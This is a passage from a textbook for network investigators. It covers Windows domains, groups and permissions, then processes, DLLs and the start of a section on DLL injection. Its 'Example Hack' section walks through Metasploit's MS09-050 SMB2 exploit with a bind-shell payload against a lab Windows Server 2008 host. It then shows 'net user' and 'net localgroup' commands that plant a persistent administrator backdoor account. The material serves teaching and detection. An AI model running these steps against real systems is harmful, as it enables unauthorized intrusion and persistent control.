user accounts to elevate their privileges on the system so that they now have increased
permissions and rights.

Step 3: Doing Evil This is when hackers accomplish whatever goal they set out to do. Some
hackers will install sniffers or other tools to try to harvest passwords. Some may attempt to
use the current victim as a platform to exploit more victims. Others may damage data, down
the machine, or deface websites. More sophisticated attackers will attempt to steal data while
eliminating any trace of their presence to evade detection.

Step 4: Embedding At this point the attacker has found a vulnerability that enabled him
to access a system, but if the vulnerability is fixed (the patch is applied), then the hacker will
lose access to the system. Embedding is the process of increasing the attacker’s control over
the victim computer to ensure that he will be able to regain control over the system at any
point in the future. At this stage the attacker may add or locate additional accounts, steal
password files, or install rootkits (discussed in the next chapter).

One tool that has made the development of hacker tools easier is the Metasploit Framework,
which can be found at www.metaspTloit.com. This framework separates the vulnerability
exploitation process into two phases: the exploit itself and the payload. The exploit phase is the
mechanism that takes advantage of a particular vulnerability. This phase is extremely specific
to a particular problem with a particular software package. After the vulnerability has been
exploited, the victim server is left in a condition where the attacker can get it to do something
that it was not intended to allow. This is where the payload phase comes into play. The payload
is basically the code that the hacker wants the victim to execute. Examples of payloads include
adding a user account, providing an interactive command prompt, or running software of the
hacker’s choice.

SAFETY CHECK

Hey, Metasploit is designed for people interested in exploiting computers. Don’t go downloading
it to your work computer! Treat it as you would any unknown tool (see Chapter 6, “Analyzing the
Computer,” for more safe-handling instructions). We know that you want to play, but stay safe.

The power of Metasploit is its modularity. When a new vulnerability is discovered, an
attacker can write an exploit module for the Metasploit Framework that successfully exploits the
system, and then the attacker can choose from any of the appropriate payload modules that have
already been written and are distributed with each download of the Metasploit Framework.
This reuse of existing code greatly speeds the time with which a tool can be created and widely
distributed, since only the exploit module needs to be created for each new vulnerability.
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They say a picture is worth a thousand words, so let’s just take a look at how this thing
works. In the next few pages, we will take a guided tour of using Metasploit to break into a

Windows Server 2008 computer, gain remote control of that system, create a local user account
on the victim system, and then add our new account to the Administrators group.

Metasploit can present multiple user interface options, including a command-line version
(which we will use here) and a GUI providing point-and-click convenience (it’s a script kiddy’s
dream come true). When you first open the Metasploit console you are treated to some ASCII

graphics, as shown in Figure 2.14.
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As we mentioned, Metasploit is divided into two sections. In the first, you choose an exploit
module that has been written to attack a specific vulnerability of a specific software package.

To see a list of all the exploit modules that Metasploit offers, simply type the command show
exploits. Keep in mind that the Metasploit project frequently updates the modules available,
and the tool even comes with an update feature. Figure 2.15 shows a small sampling of the
exploit modules that Metasploit contains.

For purposes of this demonstration, assume that our attacker has already performed target
recon of the victim network and has decided that the most vulnerable server is a Windows
Server 2008 system with a known Server Message Block (SMB) vulnerability, which allows
remote code execution. While a patch has been distributed for this vulnerability, the administra-
tor has not applied it for some reason (an all-too-common occurrence). To select that particular
exploit module, you simply enter the use command followed by the name given by Metasploit to
that particular module, ms09_050_smb2_negotiate_func_index (by the way, the 09_050 refers
to the Security Bulletin number assigned by Microsoft when this vulnerability and its patch
were originally released). Figure 2.16 shows the end of the list of exploit modules that we started
in Figure 2.15. You also see the use command being entered.
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Now that we have set the exploit module, it is time to move to the second step of the process
and set the payload. Remember that the payload is the code that we want to get the victim com-
puter to execute for us. Metasploit has a number of different payloads, and the project continues
to release more all the time, some of which are capable of rather sophisticated attacks. The com-
mand to list the available payloads is, conveniently enough, show payloads, as you can see in

Figure 2.17.
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generic/shell bind tcp normal Generic Command She|
generic/shell_reverse tcp normal Generic Command She|
generic/tight_loop normal Generic x86 Tight L
windows/adduser normal Windows Execute net|
windows/d1llinject/bind_ipv6 tcp normal Reflective D1L Inje
windows/d1llinject/bind nonx tcp normal Reflective D1l Inje
windows/dllinject/bind tcp normal Reflective DL Inje|
windows/d1llinject/reverse http normal Reflective D1l Inje
windows/dllinject/reverse ipv6 tcp normal Reflective DLl Inje|
windows/d1linject/reverse nonx tcp normal Reflective D11l Inje
windows/dllinject/reverse ord tcp normal Reflective DLLl Inje
windows/dllinject/reverse_tcp normal Reflective DL Inje|
windows/dllinject/reverse_tcp_allports normal Reflective DLL Inje
windows/dllinject/reverse_tcp dns normal Reflective D1l Inje
windows/download exec normal Windows Executable
windows/exec normal Windows Execute Com
windows/loadlibrary normal Windows LoadLibrary
windows/messagebox normal Windows MessageBox
windows/meterpreter/bind ipvé tcp normal Windows Meterpreter|
windows/meterpreter/bind nonx tcp normal Windows Meterpreter
windows/meterpreter/bind tcp normal Windows Meterpreter|

Let’s select a payload that will give us a fully interactive command prompt on the victim sys-
tem. The windows/shel1_bind_tcp payload fits the bill. This payload will open a listening port
on the victim server and hand anyone who connects to it a command shell with which to enter
any commands they desire the victim machine to perform (we will discuss more about ports
in Chapter 5, “Windows Ports and Services”). Metasploit will then initiate a connection to the
newly opened port on the victim server and give us a command prompt running on our victim.
Figure 2.18 shows us setting the payload to windows/she11_bind_tcp.

At this point we must now configure a few options to tell Metasploit some details about our
intended victim. Using the show options command (as seen in Figure 2.19) gives us a list of
the options that can be set for this payload. We see the remote host (RHOST), which indicates
that the IP address of our intended target needs to be provided. Other options can be set here as
well, but we will leave the defaults provided by the tool.



FIGURE 2.18

Here we are choos-
ing the payload
that we will have
Metasploit deliver
to the victim com-
puter. This pay-
load will give us a
remote, interactive
command shell.

FIGURE 2.19
This exploit will
attack port 445
on the target sys-
tem and will open
up alistener on
port4444.

EXAMPLE HACK

v X Terminal
windows/shell/reverse ord tcp normal Windows Command She|
windows/shell/reverse_tcp normal Windows Command She|
windows/shell/reverse tcp_allports normal Windows Command She
windows/shell/reverse_tcp_dns normal Windows Command She|
windows/shell bind tcp normal Windows Command She|
windows/shell bind tcp xpfuw normal Windows Disable win
windows/shell reverse tcp normal Windows Command She
windows/speak_pwned normal Windows Speech API
windows/upexec/bind_ipvé_tcp normal Windows Upload/Exec
windows/upexec/bind_nonx_tcp normal Windows Upload/Exec
windows/upexec/bind_tcp normal Windows Upload/Exec
windows /upexec/reverse http normal Windows Upload/Exec
windows fupexec/reverse_ipvé tcp normal Windows Upload/Exec
windows/upexec/reverse_nonx_tcp normal Windows Upload/Exec
windows/upexec/reverse_ord _tcp normal Windows Upload/Exec
windows/upexec/reverse_tcp normal Windows Upload/Exec
windows/upexec/reverse tcp allports normal Windows Upload/Exec
windows/upexec/reverse_tcp_dns normal Windows Upload/Exec
windows/vncinject/bind_ipvé tcp normal VWNC Server (Reflect
windows/vncinject/bind nonx_tcp normal VNC Server (Reflect
windows/vncinject/bind_tcp normal VNC Server (Reflect
windows/vncinject/reverse http normal VNC Server (Reflect
windows/vncinject/reverse ipvé_tcp normal VNC Server (Reflect
windows/vncinject/reverse_nonx_tcp normal VNC Server (Reflect
windows/vncinject/reverse ord_tcp normal VNC Server (Reflect]
windows/vncinject/reverse_tcp normal VNC Server (Reflect
windows/vncinject/reverse tcp allports normal VNC Server (Reflect
windows/vncinject/reverse_tep_dns normal VNC Server (Reflect
E‘f exploit(mse9_858_smb2_negotiate_func_index) > set PAYLOAD windows/shell bind tcpl]

~ v x Terminal
msf exploit(mse9_e56_smb2_negotiate_func_index) > show options

Module options (exploit/windows/smb/ms@9 858 smb2_negotiate func_index):

Name Current Setting Required Description

RHOST yes The target address
RPORT 445 yes The target port
WAIT 180 yes The number of seconds to wait for the attack to complete.

WPayload options (windows/shell bind tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique: seh, thread, process, none
LPORT 4444 yes The listen port

RHOST no The target address

Exploit target:
Id Name

0 Windows Vista SP1/5P2 and Server 2008 (x86)

msf exploit{mse9_050_smb2_negotiate_func_index) >
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the IP address of our
intended victim

FIGURE 2.20 ~ v % Terminal
Setting the RHOST msf exploit(ms89_050_smb2_negotiate func_index) > show options
option to point to Module options (exploit/windows/smb/ms@9 @50 smb2 negotiate func index):
Name Current Setting Required Description
RHOST yes The target address
RPORT 445 yes The target port
WAIT 188 yes The number of seconds to wait for the attack to complete.

CHAPTER2 THEMICROSOFT NETWORK STRUCTURE

Next, we simply set the RHOST option to point to the IP address of our victim, in this case
172.18.18.2. Figure 2.20 shows the command being executed in the Metasploit console.

WPayload options (windows/shell bind tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique: seh, thread, process, none
LPORT 4444 yes The listen port

RHOST no The target address

Exploit target:

Id Name

@ Windows Vista SP1/5P2 and Server 2008 (x86)

msf exploit(ms89 050 _smb2_negotiate func_index) > I

At this point, we are ready to launch our attack. To exploit the system based on the options
we have chosen, we simply type the command expToit. Metasploit will run the exploit module
and send data to the SMB service of the victim computer. This data will be specifically format-
ted to take advantage of the known vulnerability announced in Microsoft Security Bulletin
09-050 and will enable us to get the victim to run some arbitrary code for us. The code that we
are going to ask the system to run (our payload) is the windows/she11_bind_tcp, which will
have the victim server open a listener on port 4444. Anyone who then connects to that port will
be handed a remote command shell running on the victim system. Figure 2.21 shows the result
of running the exploit command within the Metasploit console.

Note in Figure 2.21 that the tool reports that it has successfully established a connection from
our computer (172.18.18.56 using port 58022) to port 4444 on our victim (172.18.18.2). The
next line appears to be a local C: prompt, but while it looks like a local command shell, it is actu-
ally running on our unpatched victim system, and any commands typed into it will run on our
victim computer. We can copy files, add users, delete folders, or do anything else we would like;
since the commands run as the system itself, there is no limit to our control at this point. We
own the victim box completely.

At this point, we have total control over our victim; however, that control depends on the vul-
nerability that we have exploited remaining unpatched. If the administrator patches and reboots
the system, the listener on port 4444 will be gone and the ability to re-create it will be removed.
In order to ensure that we can maintain control over this victim, we will now embed ourselves on
the system by creating an account on the system and placing that account in the Administrators
group. Then, we can use that account to regain control over the system at any time, using tools
such as psexec (which is available for free from technet.microsoft.com/en-us/sysinternals).



EXAMPLE HACK

FIGURE 2.21 I ~ v x Terminal

The exploit was suc- msf exploit(ms69 658 smb2 negotiate func_index) > exploit
cessfully executed [*] Connecting to the target (172.18.18.2:445)...
against the victim. [*] sending the exploit packet (923 bytes)...

Waiting up to 180 seconds for exploit to trigger...
] Started bind handler
] Command shell session 1 opened (172.18.18.56:58622 -> 172.18.18.2:4444) at 2011-69-09 09:5)

8:25 +0300

WMicrosoft Windows [Version 6.8.6001]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.

C:\Windows\system32>]]

FREE SPEECH MEETS COSTLY ERRORS

This is normally about the time when investigators start to bellow, “Why isn’t Metasploit illegal?”

There is nothing inherently wrong with testing, developing, or learning about exploits or how
they work. In fact, without people doing this type of research in the open, those of us in the law-
enforcement and IT security fields would have a much harder time understanding our adversaries
(those who use exploits for malicious and illegal purposes). A large number of security penetra-
tion testers rely on Metasploit daily for identifying security problems in networks and working
to secure them before a malicious attack occurs. If you want to be outraged, be outraged at the
number of vulnerabilities that exist in commercial software and demand better quality control
from the manufacturers. The right to freely speak and exchange ideas is constitutionally protected
in the United States, but there’s no excuse for bad code.

To add the new account, use the net users command. The syntax of this command is net
user account_name password /ADD, where account_name is the name of the account that you
wish to create, and password is the password that will be assigned to the new account. Since the
victim computer is a member server (not a domain controller), the new account will be a local
user account. This account will be a member of the default Users group but will have no special
permissions on the system (a limitation that we will remedy in our next step). Figure 2.22 shows
us using the command shell that we got through the use of Metasploit to create a new account
named Bubba with a password of Junebugl!.
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FIGURE 2.22 ~ v  x Terminal

The new account msf exploit(mse9_056_smb2_negotiate_func_index) > exploit
Bubba was suc- [
cessfully created [
with the password {
Junebugi! set. g

Connecting to the target ({172.18.18.2:445)...

Started bind handler

Sending the exploit packet (923 bytes)...

Waiting up to 18@ seconds for exploit to trigger...

*] Command shell session 1 opened (172.18.18.56:45266 -> 172.18.18.2:4444) at 2011-89-09
1:09:38 +0300

BMicrosoft Windows [Version 6.8.60801]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.

C:\Windows\system32=net users Bubba Junebugl! /ADD

net users Bubba Junebugl! /ADD
The command completed successfully.

C:\Windows\system325

While the Bubba account is now ours to command, it doesn’t have any particularly interest-
ing access to the system. In order to ensure that we can gain increased control over the victim
system in our future connections, we need to increase the rights and permissions given to
the account. As mentioned earlier, the easiest way to increase the privileges afforded to an
account is to add that account to a privileged group. In this case, we will add the account to the
Administrators group to provide us with full administrator privileges to the system every time
we initiate a connection.

The command that we will issue to add our account to the Administrators group is the net
Tocalgroup command. The syntax of the command is net Tocalgroup group_name account_
name /ADD, where group_name is the name of the group to which the account will be added and
account_name is the name of the account that will be added. Figure 2.23 shows the command
completing successfully.

FIGURE 2.23 ~ v x Terminal
Our Bubba account C:\Windows\system32=net users Bubba Junebugl! /ADD
net users Bubba Junebugl! /ADD
has now success- The command completed successfully.
fully been added to
the Administrators C:\Windows\system32=net localgroup administrators Bubba /ADD
group. net localgroup administrators Bubba /ADD

The command completed successfully.

C:\Windows\system32>]|
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Now we have an account on the victim system to which we can connect at any time with
administrator privileges, and that account will still exist even if the system is patched against
the SMB vulnerability. Of course, the administrator might notice the Bubba account and wonder
why it is there, and logs may have also been created showing the creation of the account and
the IP address and/or machine name from where we launched the attack. In Chapter 3, we will
discuss other ways in which hackers embed themselves on victim systems, and in Chapter 14,
“Other Audit Events,” we will examine some of the log entries that you as an investigator could
use to detect this type of attack.

The Bottom Line

Explain the difference between a domain and a workgroup as it relates to a network investi-
gation. Domains are centrally managed collections of computers that rely on a network infra-
structure that includes domain controllers. Computers participating in a domain surrender
much of their autonomy in order to benefit from centralized administration. Domains enforce
common policies and maintain a list of domainwide accounts on the domain controllers.

Workgroups are simply independent computers that are grouped together for purposes of
sharing information. Each machine is essentially an island unto itself, with its own accounts,
policies, and permissions. The local Administrator account is the ultimate authority on a
workgroup computer, and the SAM maintains the list of authorized users.

Master It You are called to the scene of an incident. The victim network is organized

as a single domain with all the DCs running Windows Server 2008. All the workstation
computers are running Windows 7, and all of them are members of the domain. The
administrator explains that he located a keystroke-logging program on his laptop, and he
believes that someone was able to record his keystrokes to capture the passwords as he
logged in to his various domain accounts, including his domain Administrator account.
He fears that the loss of the passwords from the activity on his laptop might lead to unau-
thorized access on the secure file servers in the Research and Development department,
which are located in another building, are part of the same domain, but are in a different
organizational unit than his laptop. Could that be a viable threat?

Explain the importance of groups within a Microsoft network. Groups are the primary
means of organizing accounts and assigning the necessary capabilities to each user or computer.
Groups are created based on the needs and structure of the organization. The appropriate capa-
bilities necessary for each group to accomplish its role are assigned to the group as permissions
and rights. As users are added to the network, their accounts are made members of the appro-
priate groups, granting all of the necessary capabilities to their accounts. As users join and leave
the organization or are reassigned within the organization, the administrator simply changes
the membership of the various groups to ensure that all users have the necessary capabilities.

Master It  When called to the scene of an incident, you are told that a very sensitive file
containing research data has been altered. Had an observant researcher not noticed the
changes, they would have resulted in the manufacture of faulty parts, resulting in mil-
lions of dollars of damage. By comparing the changed file to backup copies, the adminis-
trator was able to determine that the change was made last Wednesday. What role would
groups play in your investigation?
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Understand file permissions as they relate to accessing remote resources. A file has

two different sets of permissions. The NTFS (or file) permissions determine which accounts
can have access to a file—either remotely or locally. The share permissions determine who
can have access to a file only when connecting to the resource from across the network.
Permissions can be set at either level, and the most restrictive permission set will determine
what access is granted to a remote user.

Master It While investigating the file mentioned in the previous question, you learn
that while three groups (called Researchers, Administrators, and Research Techs) have
NTES permissions to modify the file, only the Researchers group has share permissions
set to make changes. There is no indication that permissions or group membership have
been changed since the incident. Could a user account assigned to the Research Techs
group be responsible for the change?



Beyond the Windows GUI

In Chapter 2, we examined the Microsoft network structure and how it can impact an investiga-
tion. In this chapter, we will look at implementation details of the Windows operating systems
on an individual computer and explore ways in which an intruder may take advantage of the OS
to make your investigation more difficult. By explaining how Windows implements many of its
security features, we will show how an attacker can subvert those security features to do evil.
We will explore ways in which an attacker can conceal his presence on the system and modify
the very tools that administrators use to monitor their network’s security.

Most of us interact with Windows through its graphical user interface (GUI), which allows us
to see a desktop, click icons, move the cursor with a mouse, and use all the other typical user-
interface features that we have come to expect. This GUI is like a curtain that hides from the
regular user (and even most administrators) the details of what the operating system is doing
behind the scenes. Rather than ignore that person behind the curtain, this chapter will rip the
curtain aside and examine the person’s actions in detail. Much of what follows is beyond the
technical scope of Microsoft’s network engineering certification courses or exams and is fre-
quently not understood even by veteran system administrators, but it is important for network
investigators to understand in detail.

To reduce the technical complexity of this material, we will once again take some liberties
in summarizing key points and simplifying some topics in order to reduce the content to what
is important to investigators without getting too bogged down in esoteric technical details.
Those who want further technical explanation should refer to either of two exceptional books
that provide a thorough treatment of these topics. The first is, Windows Internals: Including
Windows Server 2008 and Windows Vista, Fifth edition, by Russinovich, Solomon, and Ionescu
(Microsoft Press, 2009). This book provides a comprehensive look at many of the implementa-
tion details of modern Windows OSs. The second book, Rootkits: Subverting the Windows Kernel,
by Hoglund and Butler (Addison-Wesley, 2005), is an excellent treatment of how attackers can
take advantage of Microsoft’s OS implementation to perform all manner of evil on a Microsoft
system.

In this chapter, you will learn to

¢ Explain the process-separation mechanisms implemented in Windows-based operating
systems and ways in which attackers can subvert these protections

¢ Identify ways in which attackers can redirect the flow of running processes to accomplish
malicious activity

¢ Explain how attackers can use rootkits to evade detection
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Understanding Programs, Processes, and Threads

Computers deal in binary values, meaning that a specific binary digit (a bit) is either on (rep-
resenting a value of one) or off (representing a value of zero). At its core, a computer consists
of storage and a processor. Storage provides a place to hold a series of zeros and ones, and a
processor is able to perform a finite number of specific operations that are built into its circuitry.
A computer follows a series of instructions that tell it what values to store and retrieve from its
storage locations (such as RAM or hard disk space) and what operations to perform. Such a set
of instructions is called a program.

Each computer’s processor knows how to perform a particular set of operations based on the
circuits from which it is composed. This set of operations defines the language that a particular
processor can understand. A program that is written for a specific type of processor is said to
be in machine language. Machine language is designed to be understood by computers and can
be difficult for most people to decipher. As a result, most programs are not written directly in
machine language but are instead written in a programming language that is more easily read
by humans. Such languages are referred to as high-level programming languages, and examples
include C, C++, BASIC, and others.

Programmers typically write a program (a set of instructions for a computer) in a high-level
programming language. Each language follows a specific format or syntax for its instructions.
A set of instructions written in a particular programming language is referred to as code. Since
code written in a high-level programming language is designed to be created by and read by
human beings, high-level programming language code is fairly easy to decipher (at least when
compared to equivalent assembly or machine code).

Although high-level code is easier for humans to read, a computer’s processor cannot under-
stand a line of it. Before a computer can perform, or execute, the instructions contained within
a program, that program must first be translated from high-level code into machine language.
The process of performing this translation is called compiling, and a program that is designed to
translate code from a high-level language into machine language is called a compiler.

Many tasks that are performed on a Windows system by one program must also be per-
formed by others. Common tasks such as handling keyboard input, displaying images to a
screen, and moving a pointer in response to the movement of a mouse are all common compo-
nents of programs designed for a Windows system. Rather than requiring that every program-
mer reinvent the wheel and write their own code to perform these common tasks, Microsoft
provides a series of libraries of code that programmers can reference in their programs. Instead
of writing code to read keyboard input, for example, a programmer may simply incorporate
one of these libraries into their program and refer the processor to the instructions contained
within a specific library for directions on how to read input from the keyboard. These libraries
of shared code are called dynamic-link libraries, or DLLs.

Once a program is compiled, it exists as a series of zeros and ones that a particular type of
processor can understand as specific machine code instructions. This is called a compiled, or
binary, program. At this point, it is difficult for a person to determine exactly what the program
is designed to do since it now exists in the machine language that the processor expects instead
of the high-level programming language that a person can interpret.

When a program is compiled to run on a Windows system, it is generally packaged in the
Microsoft Portable Executable file format (also called the PE format or just an executable.) An
executable file contains multiple parts. One part tells the operating system (OS) what the icon
for the executable should look like when it is displayed. Another part tells the OS which DLLs
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are referred to within the program. Still another part consists of the compiled code (the machine
language equivalent of the programmer’s original high-level code instructions).

When a user double-clicks an executable, the OS determines which DLLs are needed by that
executable by reading that section of the portable executable file. The system then dynamically
loads (makes a copy of) the needed DLLs into memory and proceeds to execute the instructions
contained within the compiled program. You can easily see where DLLs get their name: they are
libraries of code that are dynamically loaded and linked together with the compiled program code
when the executable is run.

When trying to run a program, the processor needs to store information about the DLLs
that the associated executable requires. Before it can do so, it must first initialize some storage
space (memory) that will be used to store this and other information needed by the program.
Information must be stored regarding where the DLLs are stored in memory, what functions
each DLL is capable of performing, where each function is located within the DLL, and so on.
Also, memory must be allocated for the program itself to store variables that it may use (a vari-
able is a section of memory used to hold values temporarily during the execution of a program).
The combination of the stored instructions that will be executed by the processor, the memory
for storage of variables used by those instructions, and the control information necessary to
execute those instructions is referred to as a process.

A process provides a framework in which a program (or even multiple programs) can be run
on a system. Each process contains a number of key elements:

¢ Memory for the storage of the machine-language version of the program’s instructions
¢ Memory for any variables declared in the program

¢ Tables tracking the location of included DLLs, their particular functions, and so on

*

An access token that specifies which rights and permissions the process has if it tries to
access other system resources or the resources of another networked computer

& One or more threads of execution

We have already addressed the majority of these components. The original program was
compiled into machine-language instructions, which get allocated some memory in which
to be stored. Programs ordinarily declare variables, or areas of memory used to temporarily
store some value that will be needed at a later point by the program. Each process has a certain
amount of memory given to it by the operating system (called the process’s memory space), and
variables are allocated the necessary amount of memory within that space. The tables are used
to track the location within the process’s memory space being used to store copies of any DLLs
that are needed and to track exactly which function each DLL can perform.

The two components of a process that we have not yet examined are the access token and
the concept of threads. Each process is given an access token that identifies it to the rest of the
system. In most cases, this access token will be the same as the user account that started the
program. For example, if user account joe runs an instance of Microsoft Word, the access token
assigned to that particular Word process would be user account joe. In this way, a process can
only do what the account that started the process had permission to do. If an administrator
launched a program, the associated process would run as administrator and would be capable
of doing anything that the administrator has the ability to do.
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Attackers take advantage of this concept when they send programs to unsuspecting victims
as email attachments or by similar means. If a victim executes a program expecting it to be a
game or other entertaining or useful program, the process that is created will have whatever
rights and permissions the user has. Since a compiled executable is not in human-readable form,
it is difficult for the end user to know what that program will do. When the user double-clicks
the executable, the ensuing process will then do whatever its designer intended, for better or for
worse. This is the reason that many email administrators will block executable files from being
received by their users. Attackers will frequently send malicious software to users, knowing
that the human component is frequently the weakest link in the security chain. If an attacker
can dupe a privileged user into running malicious software on a machine inside the network,
then that malware can be used to provide access to that otherwise protected system.

EVIL, BUT CLEVER

We are seeing an increasingly sophisticated use of spoofed emails to deliver malicious software to
users. Attackers will perform extensive open-source intelligence operations to determine infor-
mation about a company or other target organization. They will then craft emails that appear to
come from actual company employees, discussing subjects of relevance to users and containing
attachments with names that are in keeping with normal company activity. The attachments
will often perform some benevolent or at least benign function, but in addition they will install
malicious software onto the victim’s computer. This malicious software is then used to give the
attacker a foothold within the victim organization’s network.

The final component of the process is the thread. The thread is the part of the process that
actually does work. A thread, or a thread of execution, represents the part of the process that
will actually execute on the processor. Each thread is allocated a small amount of memory that
only it can access. Instructions in the program are then followed by a thread and provided to
the CPU for execution. The processor splits its time among all threads running on the system,
allowing each one to run commands for a small slice of time before going on to the next thread.
A process may have one thread, or it may have many threads running simultaneously. A multi-
threaded process can claim more time on the processor and accomplish multiple tasks concur-
rently, but programs designed to take advantage of multiple threads can be more complicated to
design.

As you can see, a process encompasses all the components necessary to accomplish a task on
a computer. If the access token assigned to a particular process is associated with a privileged
account, then that process could cause a considerable amount of damage to the system if it
were to perform malicious acts. Therefore, attackers will frequently attempt to co-opt a process
into behaving in ways that it was not intended to behave, bending the process to the will of
the attacker and turning it into an evil agent acting against the best interests of the system. For
example, if a process is running under a privileged security context and an attacker can co-opt
that process, tricking it into running a password sniffer or keystroke logger rather than running
the instructions that it was designed to perform, the attacker will be able to steal very valuable
data. The next section will examine ways in which attackers go about changing the behavior of a
running process, bending its actions to their will.
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Redirecting Process Flow

As mentioned earlier, a program is a set of instructions that the processor will perform. Most
programs consist of a main program that calls various subprograms (called methods, functions,
subroutines, and so on) in order to perform specific tasks. For example, a program may need

to draw a window multiple times during its execution, so rather than rewrite the same code
repeatedly, a programmer will write a function that draws a window and name it something
like DrawWindow. Then, whenever the program needs to draw a window, the main program can
simply call (refer to) the DrawWindow function in order to accomplish that goal.

Remember that before a program can run, the computer must allocate the resources that the
program will require. This means that a process must be created on the system with the appro-
priate memory, access token, and threads established. The thread is the part of the process that
is actually given time on the CPU, during which the CPU executes the appropriate series of
instructions. You might think of a process as shown in Figure 3.1.

FIGURE 3.1
A graphical repre- Process
sentation of the ele-
ments of a process
Thread
Process Memory
Access Token

When a program is running, some thread of execution is systematically following the
instructions outlined in the program, and the CPU is executing those instructions. The main
program is stored in a specific section of the process’s memory, and the thread simply provides
the instructions one at a time to the CPU. If the program makes a call to a function (such as
DrawWindow), the thread must find that function in the process’s memory and start reading
instructions from that function before continuing with the remainder of the main program.
After the function is completed, the thread once again returns its focus to the original program,
and the CPU resumes execution of the program starting at the line immediately following the
call to the DrawWindow function.

Figure 3.2 illustrates how the flow of execution follows a function call. You can see the effect
of a call to the DrawWindow function. The CPU executes the main program line by line until it
encounters the reference to the DrawWindow function. At this point it begins reading instructions
from the DrawWindow function until the function has been completely executed (after the fifth

67



68

FIGURE 3.2
Execution flow dur-
ing a function call Process Memory
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instruction of the function). Control then returns to the main program, and the CPU resumes
following commands in the main program beginning with the line immediately after the func-
tion call (Instruction 4 of the main program). Note that any variables declared by the program
also exist in the process’s memory space.

Process

Main
Instruction 1
Instruction 2
DrawWindow
Instruction 4

Thread

DrawWindow
Instruction 1
Instruction 2
Instruction 3
Instruction 4
Instruction 5

<—f\<—\y

Access Token

Variables

As we mentioned earlier in this chapter, a programmer does not need to write the code for
every function that will be used by a programmer. Instead, the programmer can rely on code
that is part of a shared library. In the case of Windows programs, these libraries come in the
form of dynamic-link libraries, also called DLLs. Each DLL contains a number of functions that
a programmer can utilize in a program to accomplish a specific task. The programmer simply
includes a reference to that DLL at the beginning of the program that tells the OS to provide a
copy of that particular DLL in the memory space of the process that will run the program. The
Portable Executable file that is created when the program is compiled and packaged will contain
a section specifying to the OS exactly which DLLs should be included in the process’s memory
for use by that process.

Figure 3.3 shows DLLs being loaded into a process’s memory space. An executable file can
depend on one or more DLLs in order to function, meaning that the program will make calls
to functions that are a part of each DLL. When the OS is setting up a process in response to a
request to run a particular executable, all the DLLs that the executable will need are copied into
the memory space of that process so that the program can use the necessary functions of those
DLLs. Microsoft-provided DLLs are stored on the computer’s system disk (ordinarily in the
%SystemRoot%\System32 folder).

When the system loads the necessary DLLs into the process’s memory, it also creates a table
within the process’s memory listing each function available within the included DLLs. In addi-
tion to listing which functions each DLL contains, the table records the address in memory
where each function is stored. Since this table records the address in memory where each
imported function is stored, the table is called the Import Address Table (IAT).
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FIGURE 3.3
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When a program makes a call to a function that is part of a DLL, the thread checks the IAT in
order to determine the location of the set of instructions that should be executed next. Once the
thread determines the address of the called function, it gives the instructions indicated by that
function to the CPU for execution until the function has completed. At that point, the thread
returns to the location that called the function and resumes execution at the next line.

Figure 3.4 shows how the flow of execution follows a call to a function that is part of a DLL.
Originally, the program was following the set of instructions indicated in the main program
(steps 1 and 2 previously). FunctionX is part of an imported DLL. When the main program calls
FunctionX, the location of FunctionXis determined by consulting the IAT (step 3). The thread
of execution then follows the instructions listed under FunctionX until the function completes
(step 4). The thread then returns to the subsequent line of the main program and continues fol-
lowing the main instructions (step 5).

STICK WITH US

At this point, you may be wondering if the publisher accidentally inserted a chapter from a pro-
gramming text into your network investigation book. The reason you are exploring these issues
is that in the Windows world, attackers frequently take advantage of the constructs described
earlier in order to alter the flow of execution of a process to bend that process to the attacker’s
will. The Metasploit tool we introduced in Chapter 2, “The Microsoft Network Structure,” has
preconfigured modules that can perform DLL injection attacks, for example. Remember that a
process runs within a specific security context, as indicated by its associated access token. If a
process attempts to take an action on the system, it will be allowed to do whatever that access
token is permitted to do. For example, a process running as system (the account used to represent
the operating system itself) is able to access, alter, or delete files, accounts, permissions, and so
on, throughout the system. Attackers target such privileged processes and attempt to redirect
their flow of execution from the instructions that they are supposed to follow to a set of instruc-
tions supplied by the attacker.
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FIGURE 3.4
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For an attacker to accomplish anything on a victim system, he must get the CPU to execute
commands. This necessitates having some process on the system that he can control (such as a
remote command shell). In many cases, an attacker accomplishes this by running a command
or a program on the victim system that starts a new process controlled by the attacker. This
can leave evidence behind that an alert administrator (or a trained investigator) may be able to
find (we will discuss methods of detecting rogue processes in Chapter 5, “Windows Ports and
Services,” and Chapter 6, “Live Analysis Techniques”). By usurping a process that is already
running, the attacker is able to execute rogue instructions on the victim system without starting
a new process that may be noticed by an administrator. This method of attack is more difficult
for the attacker to accomplish, but it is also more difficult for the victim to detect.

An attacker can change the flow of execution for a process by using various mechanisms. In
the next two sections, we will examine two techniques frequently used to accomplish this redi-
rection: DLL injections and hooking. We took a few liberties in the previous description of pro-
cesses in order to avoid getting into even more technical detail. We will continue to take similar
liberties with the discussion of hooking and DLL injections.

NOT TECHNICAL ENOUGH FOR YOU?

Those who desire more information can find complete descriptions of how processes and DLLs
are managed in the Windows Internals and Rootkits books mentioned near the beginning of this
chapter.

DLL Injection
As you saw previously, instructions that a thread will execute must be located in the address
space of the process in which that thread is running. Threads follow a set of instructions
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through various parts of the process’s memory space in accordance with the different function
calls made by the program. The flow of execution might go from the main part of the program
to a function defined within another part of the program, to a function contained in a DLL pro-
vided by Microsoft or a third-party company. The one thing that all these instructions have in
common is that they have been copied into the memory address space of the process of which
the thread is a part. If a thread attempts to execute an instruction in a part of memory that is
outside the scope of its process’s memory space, the system will deny that attempt and may even
terminate the process.

Look at this from an attacker’s point of view for a moment. The attacker has some compiled
code that he would really like some privileged process (a process whose access token gives
it significant access to the victim’s files, policies, and so on) on the victim system to run. This
code will do some type of evil: possibly copying sensitive information, recording keystrokes, or
any other act of malfeasance. The attacker has to overcome two challenges. The first is that he
must get a copy of the rogue instructions into the memory space of the privileged process. The
second is that he must redirect the flow of execution for some thread within that process from
the instructions that it was supposed to be following to the rogue instructions that the attacker
wants executed.

Let’s address these challenges in order. The attacker must first get a copy of his rogue code
into the memory address space of the privileged process. If you recall our earlier discussion of
process structure, we mentioned that when a process is first created, the operating system loads
copies of all the DLLs on which the process depends into the process’s memory space. The OS
supports various mechanisms for loading DLLs into the memory space of a process after the
process is already created and running. Many software security packages, as well as desktop
add-ons and other legitimate software, take advantage of this ability to modify the behavior
of a system in accordance with the user’s wants. Unfortunately, an attacker can use these same
mechanisms to inject a rogue DLL into the memory space of an already-running process. This
